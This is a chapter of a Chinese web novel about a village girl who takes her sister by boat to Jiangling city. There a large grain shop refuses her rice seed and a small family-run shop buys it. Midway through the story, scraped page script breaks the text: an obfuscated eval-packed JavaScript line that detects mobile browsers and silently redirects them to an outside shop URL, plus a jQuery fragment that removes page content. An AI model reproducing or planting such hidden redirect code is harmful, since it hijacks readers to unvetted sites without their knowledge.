“见鬼了,怎么在这儿都能碰上这位活祖宗……”虞今越咬着牙暗自腹诽,她撇开脸,只用余光观察着那人看了她半晌才起身往甲板上去。
“谁啊?”
方翠兰听到这一腔吆喝,只以为前头有人撞了船,生了事,忙伸长了脖子凑到跟前去看。
虞今安坐在阿姐身侧,刚想说话,又被阿姐一个眼神堵了回去。
“不清楚,听着像是喊人……”虞今越敷衍道,眼看着那艘大船进了闸道,消失在视线里,才松了一口气。
半刻钟后,徐老五撑着篙从闸道里拐出来,进了城。
水面骤然开阔,临水而居的吊脚楼被风雨洗刷得乌黑油亮,排屋一座挨着一座,叫卖声、吆喝声此起彼伏,最热闹的就要属那座立着高大石质牌坊的东市码头,栈桥水埠,泊着各式各样的船只,码头上人头攒动,搬货的力夫在岸边排成一行等着卸货。
“船家,我们就在这儿下船。”
“好嘞!”
徐老五用脚尖勾起竹篙,将船泊入码头外围落客的栈板边上,笑着问:“你们打算几时回去?”
“最迟不过申时,对了……”方翠兰回头问她,“妹子,你买了粮种不好背,我和你程大哥卖了鱼就去找你,咱们从南市坐船一道回去,行不?”
“行。麻烦你们了,翠兰姐。”虞今越感激地说。
“真是的,和我还说什么麻烦不麻烦的。”方翠兰起身付了船钱,笑着道:“老爷子,您记得申时来南市码头接我们。”
“没问题。”徐老五爽快应下。
方翠兰帮着男人把水桶挂在扁担上,等船一靠稳,就跟着跳了下去,笑眯眯的和她告别,“我走了啊,你自己小心点儿。”
“好。”虞今越朝夫妻俩挥了挥手,不等人走远,竹篙扎进水底一推,小船又离了岸。
徐老五在江陵这一片跑船送客,最是知道城里的水道,他把船桨一握,往后一打,过了一道拱桥之后,驶入了居民区的狭窄河道中。
虞今越目不转睛地看着岸边景色,沿着水渠岸边是一溜青瓦白墙的小楼,院墙上开了花窗,墙头上蹿出来一竿竿笔直的青竹。
小楼一侧开了个月洞门,连着一道石阶,能下到河沟里取水。
虞今越看着城里人家的小宅院,再想到自家的茅草屋,不禁有些羡慕。
只暗暗在心里存了个念头,等她攒够了钱,一定也要来城里买一座这样漂亮的小宅子。
在过了六道石桥,一道水闸之后,小船在一座码头上靠了岸。
南市码头的热闹,不同于东市,这边人少,最多的还是扛着麻袋往来栈桥上的力夫,几个卖水饭、索饼的摊子就支在牌坊底下,吃饭的力夫或蹲或站,手里都端着一个大海碗。
虞今越付了船钱,徐老五把铜板往怀里一揣,就撑着篙离开了。
姐妹俩背着麻袋,拎着柳筐,还没走两步路,就有几个驼着背晒得黢黑的老汉围了上来。
“小姑娘,要雇人搬东西不?”
虞今越摇了摇头,牵紧小妹的手,快步往走出。
有一个青年人蹲在路边吃水饭,他捉起筷子朝人一指,嗤笑道:“你们几个老东西眼瞎了不成?看她那样,哪里是花得起钱雇人的。别说我没提醒你们,等秦爷来了,你们要是还在这儿乱晃,碍了爷的眼,就等着吃板刀面吧!老不死的!”
那几个老汉战战兢兢地望了他一眼,还是硬着头皮找了个角落坐了下来。
虞今越感觉到这地方氛围有些奇怪,心里也有些紧张,只顾低着头往外走,全然没有发现人群里有一双眼睛盯紧了她。
出了码头,虞今越在路边问了人,才摸到江陵城最大的粮行门口。
乌木牌匾,金漆大字,宽敞的三个大开间,旁边还有一个立着栅栏的院子,门口拴着几辆板车,还立着两个握着长矛的护院。
她背着半麻袋稻种走进去,里头几个穿着青布衣裳的伙计忙得不可开交,好几次她想打招呼,人家要么拿着一沓纸条儿从她身边跑了过去,要么在陪着穿着华服的管事说话,迎来送往的,仿佛没看见她一样。
等了半晌,她才寻到机会,摸到一个正在喝水的伙计旁边,“小兄弟,我想卖点稻种,你们这儿什么价啊?”
“啊?卖稻种?”那伙计擦了嘴,上下打量她一眼,“您是下头哪个乡的?”
“大垸镇,滩头村。”
那伙计眉头一皱,把麻袋解开,伸手抓了一把谷子,恭敬道:“您这些稻种,咱们这儿不能收。”
“为什么?”虞今越这才有些慌了。
“这些稻种怎么来的您心里清楚,咱们开门做生意,图的就是一个安稳,官府的事儿是决计不能掺和的,您请回吧。”粮行伙计边说边笑,客客气气地把她们姐妹二人“请”了出去。
虞今越带着小妹在外头的台阶上坐下,心里却七上八下的,听那个伙计的意思,这一批官府发下来的稻种,他们还不敢收。
卖不了稻种,就没钱买荞麦种子,田里的活儿都弄了一大半了,她是真没想到能在这儿卡住。
这可怎么办啊……
虞今越正发着愁,却有一个高高瘦瘦的穿着灰褂子短打的少年从对街走了过来,他往墙根底下一站,和她搭了话,“您这是上粮行卖什么来了?”
虞今越将小妹往自己臂弯里一揽,警惕地看了他一眼,“你站远些,我什么都不卖。”
“嗐,我又不是拐子,”
那少年挠了挠头,把自己腰带上挂着的木牌子扯下来递给她看,“您瞅瞅,我是江记粮店的伙计,咱们店里什么粮都收,价格也好着呢。”
虞今越将信将疑,“当真?什么粮都收?”
那少年笑了一声,道:“是,您过去让我们掌柜一看就知道了。”
还真是瞎猫碰上死耗子了。
这家店不收,不代表别的店做生意,也这么“遵纪守法”,她不能在这里坐以待毙。
虞今越在心里思虑片刻,打算跟他过去,碰碰运气。
少年顺手就把她那口麻袋接了过来,扛在背上,领着她们姐妹二人往街尾去。
本来是一条宽阔的长街,拐过一条巷子之后,路也越走越窄,街边只有几家卖油的开着门,一棵大榆树枝繁叶茂的长在路边,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644852|205805||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
浓荫底下,不见天日,连带着这条巷子似乎也透着一股森森寒气。
虞今越左右打量,总算在一间低矮的门头前看到了一方挂得歪歪扭扭的木匾。
江记粮店。
那少年把麻袋卸下来,请她进去。
“我不进去,你叫你们掌柜出来和我说话,他要是不收,我立刻就走!”虞今越警惕地盯着他。
“那好吧。”
少年摆着一张苦哈哈的脸,进门就叫了一声“娘!”
不多时,一个围着围裙,挽着袖子的黄衫妇人走了出来,她把她们姐妹俩一望,圆乎乎的脸盘上立时就挂了笑。
“姑娘,怎么不进去?我们家是正经做生意的,就是赁的这间铺子,地段不好,你背着粮食过来一定累得够呛吧?快进来喝口水。”江心月笑眯眯地说完,还从袖子里摸出两颗黑漆漆的果子,递给虞今安,“来,小娃娃吃莲子,这个不苦。”
虞今越没让妹妹接,只让她赶紧看稻种,“我卖的稻种也不多,你要是看得上,就报个价。”
“你这小姑娘还真挺有意思的,那我看看吧。”江心月无所谓地把两颗莲子丢进嘴里,解开麻袋,抓了一把稻种,眼前瞬间一亮。
她边嚼边说:“这稻种不错啊,颗粒大,又饱满,没啥秕谷,搁在往年,都能交皇粮了。”
虞今越顿时心头一紧,这妇人看着不太讲究,人倒是精明,只一眼就看出来了她的稻种的不同。
但是人家没有点破,她也不准备像刚才一样将来历一五一十的讲清楚。
没想到这江掌柜根本没问,只把手上的灰拍了拍,就朝里喊,“鸿儿,过来把这袋稻种搬进去过称。”
少年快步走了出来,看了看自己娘亲,又看了立在门口的姐妹二人一眼,小声道:“娘,我好不容易招揽来的顾客,你说话注意点。”
“啰嗦死了。”
江心月踹了他一脚,“呸”的一声,把莲子壳吐在了地上,笑着问她:“给粮食过称,你也不进去看一眼?”
“您带路吧。”
虞今越弯腰和小妹嘱咐了一句,这才随她进了铺子。
进了粮店,虞今越才知道这家店为什么看着这么冷清了,两扇窗户,一扇没开,一扇半掩着,屋子里一点儿也不敞亮,几口装着粮食的箩筐也胡乱放着,柜台上,点心碟子,油纸包,还有一盘子盐水花生,剥过的莲子壳丢得到处都是……把账本笔墨等物挡了大半。
虞今越深吸了一口气,忽略掉这家粮店的离谱之处,随他们过了穿堂,去院子里称粮食。
那少年把麻袋提上秤,扶着秤杆一拨,回头对他娘说:“不到四斗,三十七斤的样子。”
“姑娘,是这样,咱们店一般的稻种给的是六文钱一斤,你这个稻种质量好,就按八文钱给你,三十七斤我给你算三百文怎么样?”江心月招呼儿子把算盘拿来。
虞今越没说好还是不好,只问:“您店里的荞麦种子怎么卖?”
江心月眼前一亮,磕莲子的动作都停了下来,她忍不住窃喜道:“荞麦可比稻子便宜,三文钱一斤,三十六文一斗,姑娘,你要多少?”